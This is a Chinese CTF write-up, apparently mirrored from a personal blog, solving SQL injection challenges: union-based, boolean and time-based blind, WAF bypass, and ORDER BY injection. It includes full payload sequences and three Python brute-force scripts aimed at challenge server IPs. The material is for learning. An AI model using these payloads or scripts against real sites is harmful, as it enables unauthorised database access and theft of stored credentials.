CTF做题总结(二)
source link: https://qwzf.github.io/2019/08/02/CTF%E5%81%9A%E9%A2%98%E6%80%BB%E7%BB%93(%E4%BA%8C)/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
最近这段时间在内部平台上做了一些Web题,和最基础的Reverse签到题。虽说还有两道Reverse题没做出来,但还是先总结一下吧!
Web1:BASE-INJECT
题目的意思是注入。点开题目
判断是否存在sql注入
判断方法在sqlilabs攻关总结中总结过。就不叙述了。这里我选用get单引号判断
输入?id=1显示正常
输入?id=1’显示错误,所以存在sql注入
联合查询注入
前提
要用联合查询进行注入则:页面必须有显示位
显示位(查字段)
在一个网站的正常页面,服务器执行sql语句查询数据库中的数据,客户端将数据展示在页面中,这个暂时数据的位置就是显示位。
联合查询
union可合并两个或多个select语句的结果集,如:
select id,username,password from users where id=1 union select 1,2,3;
前提是两个select必有相同列、且各列的数据类型也相同
union注入条件
只有最后一个select子句允许有order by
只有最后一个select子句允许有limit
只要union连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果
注入点页面有回显
注入步骤
- 判断是整型还是字符型
- 判断查询列数
- 判断显示位
- 获取所有数据库名
- 获取数据库所有表名
- 获取字段名
- 获取字段中的数据
知识了解完毕,开始解题
1.判断是整型还是字符型
输入?id=1 and 1=1
输入?id=1 and 1=2
回显页面不同,说明是整型注入
2.判断查询列数
输入?id=1 order by 3 --+
显示正常
再次输入?id=1 order by 4 --+
显示错误
所以在?id=1查看的这个表有3列,即3个字段
4. 获取所有数据库名
group_concat()一次性显示:
1 union select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA--+
database()
1 union select 1,2,database()--+
1 union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES WHERE TABLE_SCHEMA=database() --+
1 union select 1,2,group_concat(COLUMN_NAME) from information_schema.COLUMNS WHERE TABLE_SCHEMA=database() and TABLE_NAME='users' --+
1 union select 1,2,group_concat(username) from users --+
Web2:BASE-Blind-Inject
打开题目,发现是登录框。想到SQL的简单注入,试一下闭合方式,最后发现是双引号闭合
payload
" or 1=1#
所以开始构造针对此题的布尔盲注pyload
盲注方法:
- 最慢:可以采用二分法的方式,手工进行盲注,对数据库名的每一个字符进行猜解(在浏览器进行测试有点不方便,可以用Burpsuite抓包,使用Repeater进行测试)
参考:
sqli-labs攻关2(布尔盲注、时间盲注) - 一般:可以使用Burpsuite抓包,半自动化盲注,设置变量,通过返回的长度不同进行判断
参考:
利用BurpSuite实现半自动化盲注 - 较快:写一个普通盲注脚本进行盲注
参考:
sqli-labs盲注脚本
python3以post方式提交数据- 最快:写一个2分法猜测数据库长度的盲注脚本进行盲注
参考:
Bool盲注脚本-POST
- 最快:写一个2分法猜测数据库长度的盲注脚本进行盲注
1.爆库
猜库长
payload
" or (length(database())=10)--+正常
所以数据库长度为10
猜库名
payload
" or (ascii(substr(database(),1,1))=n)--+
手工测试第一个字符
一直尝试,直到字符全部猜出。
Burpsuite半自动化盲注
要注意如果第二个变量选择的是字符字典,payload写成如下形式:
" or (substr(database(),1,1)='a')--+
chellenges
2.爆表
猜表长
payload
" or (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6)--+正常
所以数据表长度为6
猜表名
payload
" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=n)--+
沿用爆库的方法,最终得到表名user_2
3.爆字段
猜字段长
payload
" or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1))=2)--+正常
" or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 1,1))=8)--+正常
" or (length((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 2,1))=8)--+正常
所以数据字段长度分别为2、8、8
猜字段名
payload
" or (ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 0,1),1,1))=n)--+
沿用爆库的方法,最终得到三个字段名id
username
password
4.爆数据
猜数据长
" or (length((select password from challenges.user_2 limit 1,1))=32)--+正常
所以数据长度为32,这个应该就是flag那条数据了
猜数据名
" or (ascii(substr((select password from challenges.user_2 limit 1,1),1,1))=n)--+
沿用爆库的方法,最终得到数据flag
这里有一个我参照大佬博客写好的脚本(我太菜,不会写二分法猜长度的那个脚本)
import requests
chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+'
postdata={
'username':'" or 1=1#',
'password':'admin'
}
url="http://35.201.188.231:9000/challenge-02/post.php"
r=requests.post(url,data=postdata)
length=len(r.text)
def name(url,length):
dbname=''
print("数据库名:",dbname)
payload='" or ascii(substr(database(),{0},1))={1} #'
#print("数据表名:",dbname)
#payload='"or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}#'
#print("字段名:",dbname)
#payload='"or ascii(substr((select column_name from information_schema.columns where table_name='user_2' and table_schema=database() limit 1,1),{0},1))={1}#'
#print("数据:",dbname)
#payload='" or ascii(substr((select password from user_2 limit 1,1),{0},1))={1}#'
for i in range(1,40):
char=''
for x in chars:
char_ascii=ord(x)
payloads=payload.format(i,char_ascii)
postdata={
'username':payloads,
'password':'admin'
}
r=requests.post(url,data=postdata)
if len(r.text) == length:
dbname+=x
print(dbname)
char=x
break
if char=='':
break
return dbname
name(url,length)
Web3:BASE-TIME-BLIND-INJECT
'"
当然时间盲注也有三种方法:
与布尔盲注相比,因为正常和不正常返回相同,所以采用sleep()函数延迟时间来判断是否正常。
1.爆库
猜库长
'" or if(length(database())=10,sleep(5),1)--+延迟五秒
所以数据库长度为10
猜库名
'" or if((ascii(substr(database(),1,1))=n),sleep(5),1)--+
手工测试第一个字符
Burpsuite半自动化盲注
要注意如果第二个变量选择的是字符字典,大小写识别有点问题,不过因为字典较快,所以依旧用的字典,然后再判断大小写。payload写成如下形式:
'" or if((substr(database(),1,1)='a'),sleep(5),1)--+
chellenges
2.爆表
猜表长
'" or if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6),sleep(5),1)--+延迟5秒
所以数据表长度为6
猜表名
'" or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=n),sleep(5),1)--+
沿用爆库的方法,最终得到表名user_3
3.爆字段
猜字段长
'\" or if((length((select column_name from information_schema.columns where table_name="user_3" and table_schema=database() limit 0,1))=2),sleep(5),1)--+延迟5秒
'\" or if((length((select column_name from information_schema.columns where table_name="user_3" and table_schema=database() limit 1,1))=8),sleep(5),1)--+延迟5秒
'\" or if((length((select column_name from information_schema.columns where table_name="user_3" and table_schema=database() limit 2,1))=8),sleep(5),1)--+延迟5秒
所以数据字段长度分别为2、8、8
猜字段名
'\" or if((ascii(substr((select column_name from information_schema.columns where table_name="user_3" and table_schema=database() limit 0,1),1,1))=n),sleep(5),1)--+
沿用爆库的方法,最终得到三个字段名id
username
password
4.爆数据
猜数据长
" or if((length((select password from challenges.user_3 limit 1,1))=25),sleep(5),1)--+延迟5秒
所以数据长度为25,这个应该就是flag那条数据了
猜数据名
'" or if((ascii(substr((select password from challenges.user_3 limit 1,1),1,1))=n),1,sleep(5))--+
沿用爆库的方法,最终得到数据flag
这里有一个我修改布尔盲注得到的时间盲注脚本
import requests
import time
import string
import sys
chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+'
url="http://35.201.188.231:9000/challenge-02/post.php"
dbname=''
payload="'\" or if((ascii(substr(database(),{0},1))={1}),sleep(5),1) #"
print("数据库名:",dbname)
#payload="'\"or if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1}),sleep(5),1) #"
#print("数据表名:",dbname)
#payload="'\"or if((ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="user_3" limit 1,1),{0},1))={1}),sleep(5),1) #"
#print("字段名:",dbname)
#payload="'\" or if((ascii(substr((select password from user_3 limit 1,1),{0},1))={1}),sleep(5),1) #"
#print("数据:",dbname)
for i in range(1,40):
char=''
for x in chars:
char_ascii=ord(x)
payloads=payload.format(i,char_ascii)
start=time.time()
postdata={
'username':payloads,
'password':'admin'
}
r=requests.post(url,data=postdata)
if (time.time() - start)>=5:
dbname+=x
print(dbname)
char=x
break
if char=='':
break
因为效率有点低,就先演示个爆数据库名的
Web4:BASE-INJECT-WAF
由题目可知,过滤了
or|and|select|union|from
,所以要进行WAF绕过WAF绕过
参考博客:SQL注入WAF绕过姿势
这道题我采用的双写绕过
1.爆库
Web5:orderby死亡在线
order by
ORDER BY 关键字
order by排序注入
Order by排序注入方法小总结
MySQL Order By 注入总结
了解完毕。这是order by排序注入,如下order参数可控:
select * from goods order by $_GET['order']
而题目tips刚好符合:
select * from 一个不是flag的表 order by id {$order}
我选择利用报错返回多条记录的方式进行注入,先进行测试
post传参
order=and if(1=1,1,(select 1 from information_schema.tables))正确
order=and if(1=2,1,(select 1 from information_schema.tables))错误
所以构造payload开始报错盲注
1.爆库
payload
and if(ascii(substr(database(),1,1))=n,1,(select 1 from information_schema.tables))
2.爆表
payload
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=n,1,(select 1 from information_schema.tables))
3.爆字段
payload
and if(ascii(substr((select column_name from information_schema.columns where table_name='cha1users' and table_schema='cha1DB' limit 3,1),1,1))=n,1,(select 1 from information_schema.tables))
4.爆数据
payload
and if(ascii(substr((select flag from cha1users limit 1,1),1,1))=n,1,(select 1 from information_schema.tables))
除payload不同外,方法沿用布尔盲注。这有一个我改好的脚本:
import requests
chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,;{}&=+!@%^*$()[]:".#'
postdata={
'order':',if(1=1,1,(select 1 from information_schema.tables))'
}
url="http://39.106.19.10/orderby/"
r=requests.post(url,data=postdata)
length=len(r.text)
def name(url,length):
dbname=''
payload='and if(ascii(substr(database(),{0},1))={1},1,(select 1 from information_schema.tables))'
print("数据库为:",dbname)
#payload='and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))={1},1,(select 1 from information_schema.tables))'
#print("数据表为:",dbname)
#payload="and if(ascii(substr((select column_name from information_schema.columns where table_name='cha1users' and table_schema='cha1DB' limit 3,1),{0},1))={1},1,(select 1 from information_schema.tables))"
#print("字段为:",dbname)
#payload="and if(ascii(substr((select flag from cha1users limit 1,1),{0},1))={1},1,(select 1 from information_schema.tables))"
#print("数据:",dbname)
for i in range(1,40):
char=''
for x in chars:
char_ascii=ord(x)
payloads=payload.format(i,char_ascii)
postdata={
'order':payloads
}
r=requests.post(url,data=postdata)
if len(r.text) == length:
dbname+=x
print(dbname)
char=x
break
if char=='':
break
return dbname
name(url,length)
Reverse1:RE0(签到)
Reverse2:RE1
总结之后对联合查询和盲注有了更加清醒的认识,同时会脚本的编写和改写也特别重要。
继续努力,小白进阶ing
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 [email protected]
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK